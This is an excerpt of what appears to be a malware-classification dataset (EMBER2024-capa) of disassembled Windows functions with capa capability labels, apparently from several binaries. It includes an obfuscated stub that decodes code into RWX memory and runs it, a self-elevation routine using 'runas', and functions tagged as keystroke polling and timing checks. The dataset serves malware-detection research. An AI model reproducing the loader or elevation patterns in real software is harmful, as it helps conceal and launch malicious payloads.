joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401920
Capabilities:
Accept command line arguments
Check os version
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b0
mov eax, dword [0x41207c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x110
mov esi, eax
lea eax, [ebp - 0x56c]
push 0
push eax
mov dword [ebp - 0x570], 0x114
call fcn.00408490
add esp, 0xc
lea ecx, [ebp - 0x570]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401b80
cmp dword [ebp - 0x56c], 6
jb 0x401b80
push 0x410458
push esi
call fcn.00402cdb
add esp, 8
test eax, eax
jne 0x401b80
cmp word [esi], 0x22
jne 0x4019ae
push 0x22
add esi, 2
push esi
call fcn.00403461
add esp, 8
add eax, 2
jmp 0x4019c2
push 0x20
push esi
call fcn.00403461
add esp, 8
test eax, eax
jne 0x4019c2
mov eax, 0x410464
mov ecx, eax
movzx eax, word [eax]
test ax, ax
je 0x4019ea
lea esp, [esp]
cmp ax, 0x20
jne 0x4019e4
movzx eax, word [ecx + 2]
add ecx, 2
test ax, ax
jne 0x4019d0
jmp 0x4019ea
mov esi, ecx
test ecx, ecx
jne 0x4019ef
mov esi, 0x410468
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x24e]
push eax
mov word [ebp - 0x250], dx
call fcn.00408490
lea edx, [ebp - 0x250]
add esp, 0xc
mov eax, esi
sub edx, esi
jmp 0x401a20
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401a20
lea eax, [ebp - 0x250]
add eax, 0xfffffffe
jmp 0x401a40
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401a40
mov ecx, dword [str.__uac]
mov edx, dword [0x410470]
mov dword [eax], ecx
mov ecx, dword [0x410474]
mov dword [eax + 4], edx
lea esi, [ebp - 0x574]
mov dword [eax + 8], ecx
call fcn.00401380
xor edx, edx
push 0x3e
push edx
lea eax, [ebp - 0x46]
push eax
mov word [ebp - 0x48], dx
call fcn.00408490
mov ecx, dword [ebp - 0x574]
add esp, 0xc
push ecx
lea edx, [ebp - 0x48]
push 0x410478
push edx
call fcn.00402d3b
lea eax, [ebp - 0x48]
add esp, 0xc
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401aa3
lea edi, [ebp - 0x250]
sub eax, edx
add edi, 0xfffffffe
lea esp, [esp]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401ac0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
push 0x206
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [ebp - 0x456]
push ecx
mov word [ebp - 0x458], ax
call fcn.00408490
add esp, 0xc
push 0x104
lea edx, [ebp - 0x458]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x38
lea eax, [ebp - 0x5ac]
push 0
push eax
call fcn.00408490
add esp, 0xc
lea eax, [ebp - 0x5b0]
lea ecx, [ebp - 0x458]
lea edx, [ebp - 0x250]
push eax
mov dword [ebp - 0x5b0], 0x3c
mov dword [ebp - 0x5ac], 0x440
mov dword [ebp - 0x5a0], ecx
mov dword [ebp - 0x5a4], str.runas
mov dword [ebp - 0x59c], edx
mov dword [ebp - 0x598], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402564
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor al, al
pop esi
call fcn.00402564
mov esp, ebp
pop ebp
ret
Function at 0x402564
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41207c]
jne 0x40256e
repz ret
jmp fcn.00403745

Function at 0x403010
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x403037
call fcn.00403d77
mov dword [eax], esi
call fcn.00403d64
push 0x16
pop esi
mov dword [eax], esi
call fcn.00403d12
mov eax, esi
jmp 0x40308c
test dword [ebp + 0xc], 0xfffffff9
jne 0x40301d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403064
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00403d8a
pop ecx
call fcn.00403d64
mov eax, dword [eax]
jmp 0x40308c
test al, 0x10
jne 0x40308a
test al, 1
je 0x40308a
test byte [ebp + 0xc], 2
je 0x40308a
call fcn.00403d77
mov dword [eax], 5
call fcn.00403d64
mov dword [eax], 0xd
jmp 0x40305b
xor eax, eax
pop esi
pop ebp
ret
Function at 0x40adce
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41207c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405659
and dword [ebp - 0x14], 0
cmp dword [0x413d40], 0
mov dword [ebp - 0x18], eax
jne 0x40ae81
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40af29
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x410184
push ebx
call edi
test eax, eax
je 0x40af29
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x413d40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x413d44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x413d48], eax
call edi
push eax
call esi
mov dword [0x413d50], eax
test eax, eax
je 0x40ae81
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x413d4c], eax
mov eax, dword [0x413d4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40aeda
cmp dword [0x413d50], ecx
je 0x40aeda
push eax
call esi
push dword [0x413d50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40aeda
test ebx, ebx
je 0x40aeda
call edi
test eax, eax
je 0x40aed1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aed1
test byte [ebp - 8], 1
jne 0x40aeda
or dword [ebp + 0x10], 0x200000
jmp 0x40af0d
mov eax, dword [0x413d44]
cmp eax, dword [ebp - 0x18]
je 0x40af0d
push eax
call esi
test eax, eax
je 0x40af0d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40af0d
mov eax, dword [0x413d48]
cmp eax, dword [ebp - 0x18]
je 0x40af0d
push eax
call esi
test eax, eax
je 0x40af0d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x413d40]
call esi
test eax, eax
je 0x40af29
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40af2b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402564
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403e59
pop dword [ebp - 0x1c]
mov eax, 0xca7300cf
sub eax, 0xca32c276
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x111d5e33
add dword [ebp - 0x2c], 0x3d34e718
mov dword [ebp - 0x28], 0x6636f7cf
sub dword [ebp - 0x28], 0x3403ab8a
mov dword [ebp - 0x24], 0xb585dd6
sub dword [ebp - 0x24], 0xbf0c19a8
mov dword [ebp - 0x20], 0xbfeba508
add dword [ebp - 0x20], 0x40145af8
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xd9f30db9
add eax, 0x264d62ab
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x1f15e069
sub dword [ebp - 0x2c], 0xaaa37713
mov dword [ebp - 0x28], 0x2570ae68
sub dword [ebp - 0x28], 0xe4044cf3
mov dword [ebp - 0x24], 0xb0bcf946
add dword [ebp - 0x24], 0xb2b27326
mov dword [ebp - 0x20], 0x6c558ee5
add dword [ebp - 0x20], 0x93aa711b
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d571
push 0
call eax
mov ecx, 0xe5f9ca8a
add ecx, 0x1a0697d5
mov edi, eax
mov ebx, 0x248626ce
add ebx, 0xdbbad932
add ebx, dword [ebp - 0x1c]
mov esi, 0x5facaf05
mov dword [ebp - 0x14], 0x93332951
mov edx, dword [ebx]
sub edx, esi
xor dword [ebp - 0x14], 0x59c1998b
mov dword [edi], edx
xor dword [ebp - 0x18], ebx
add edi, 0xc958cb9b
sub edi, 0xc958cb97
add ebx, 0x6d9cac56
add ebx, 0x926353ae
loop 0x403f70
add eax, 0x17c4f
xor ebx, ebx
add ebx, eax
add eax, 0xf348f8cd
sub eax, 0xf348f8c8
mov ecx, 0x83329f41
sub ecx, 0x82f29f41
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x402f60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x460020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402ff8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fd8
xor eax, eax
push ebp
push 0x402fd1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403014
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fd8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x460020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x460020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403ca4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x462048], 0
je 0x403d05
cmp word [0x46221c], 0xd7b2
jne 0x403ccd
cmp dword [0x462224], 0
jbe 0x403ccd
mov eax, 0x462218
call dword [0x462234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46006c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d2c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x460030], 0
jne 0x403d21
push 0
push 0x460064
push 0x46006c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403e58
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004026cc
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x462049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403e20
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4059fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405a62
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404114
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b24
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405a4c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a69
lea eax, [ebp - 0x10]
call fcn.00403ea4
ret

Function at 0x40aa54
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aa8d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f94
jmp 0x40aa96
mov eax, ebx
mov edx, esi
call fcn.00403ef8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40aaa0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aac1
mov al, byte [esp]
jmp 0x40aac3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b148
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40afc0
mov eax, dword [0x461824]
cmp byte [eax], 0
je 0x40b1c4
mov eax, dword [0x461554]
call fcn.00402990
call fcn.00402834
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004082c8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b20c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b1fa
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4614e4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x462664]
call fcn.00404f10
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40ba60
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bb36
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403f3c
lea eax, [ebp - 8]
call fcn.004043b4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404364
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bb20
mov eax, ebx
call fcn.004026cc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bb19
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404364
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bb03
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bb48
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bb03
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bb20
mov eax, dword [ebp - 0x10]
call fcn.004026ec
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bb3d
lea eax, [ebp - 8]
call fcn.00403ea4
ret

Function at 0x40c028
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c08c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404114
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407de0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c093
lea eax, [ebp - 0xc]
call fcn.00403ea4
ret

Function at 0x41a0e4
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x41a131
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.00419ef8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41a149
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x41a150
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.00419ef8
dec esi
jne 0x41a172
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x41b2b4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x462888
cmp dword [edi], 0
jne 0x41b330
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x462884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x460408
mov ecx, 2
call fcn.004028c8
mov edx, 0x41b28c
lea eax, [esi + 5]
call fcn.0041b2ac
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041b2ac
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41b305
mov dword [0x462884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41c544
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41c54a
ret

Function at 0x41e98c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41e9dd
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41e9c4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41e9b4
jmp 0x41e9dd
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41e9c5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42b110
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42b05c
call sub.user32.dll_EnumWindows
ret

Function at 0x42b230
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x42b2ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042ac90
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x42b255
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042a890
cmp dword [ebp - 4], 0
je 0x42b297
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404364
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42b2b4
lea eax, [ebp - 4]
call fcn.00403ea4
ret

Function at 0x42e278
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x462b58], 0
je 0x42e3c7
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x461798]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42e3c7
mov eax, dword [0x462b5c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x462b58]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42e396
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x462b58]
call fcn.00413adc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42e38e
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42e38e
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42e38e
mov eax, dword [ebp - 0x14]
call fcn.00436f04
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42e38e
push ebp
call fcn.0042e234
pop ecx
test al, al
jne 0x42e38e
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42e34a
mov eax, dword [ebp - 0x14]
call fcn.00435a34
dec eax
jle 0x42e38e
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004032e4
cmp byte [ebp - 1], 0
je 0x42e38e
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42e38e
mov edx, dword [ebp - 0x14]
mov eax, dword [0x462b5c]
call fcn.0042da00
inc edi
dec ebx
jne 0x42e2dd
mov eax, dword [0x462b5c]
cmp dword [eax + 8], 0
jle 0x42e3ae
mov eax, dword [0x462b5c]
call fcn.0042da90
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42e3c7
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042e09c
pop ecx
test al, al
jne 0x42e3c7
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43199c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x4319e8
mov eax, esi
call fcn.0044714c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4319e8
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x4319e8
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x431b27
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x431a28
cmp eax, 0x108
ja 0x431a28
mov eax, esi
call fcn.0044714c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x431b1e
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x431b27
jmp 0x431b1e
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x431b07
cmp eax, 0x20a
ja 0x431b07
test byte [esi + 0x50], 0x80
jne 0x431a5a
sub eax, 0x203
je 0x431a57
sub eax, 3
je 0x431a57
sub eax, 3
jne 0x431a5a
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x431a6e
dec eax
je 0x431a83
dec eax
je 0x431aa0
dec eax
je 0x431a83
jmp 0x431aa7
mov ecx, ebx
mov eax, dword [0x461798]
mov eax, dword [eax]
mov edx, esi
call fcn.004508f8
jmp 0x431b1e
cmp byte [esi + 0x5d], 1
jne 0x431a99
mov eax, esi
mov si, 0xffed
call fcn.004032e4
jmp 0x431b27
or word [esi + 0x54], 1
jmp 0x431b1e
and word [esi + 0x54], 0xfffe
jmp 0x431b1e
mov eax, dword [0x462b14]
cmp byte [eax + 0x20], 0
je 0x431b1e
mov eax, dword [0x462b14]
cmp dword [eax + 0x1c], 0
je 0x431b1e
mov eax, dword [ebx]
mov edx, dword [0x462b14]
cmp eax, dword [edx + 0x1c]
jne 0x431b1e
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00447090
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004032e4
jmp 0x431b27
cmp eax, 0xb00b
jne 0x431b1e
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.004302c8
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret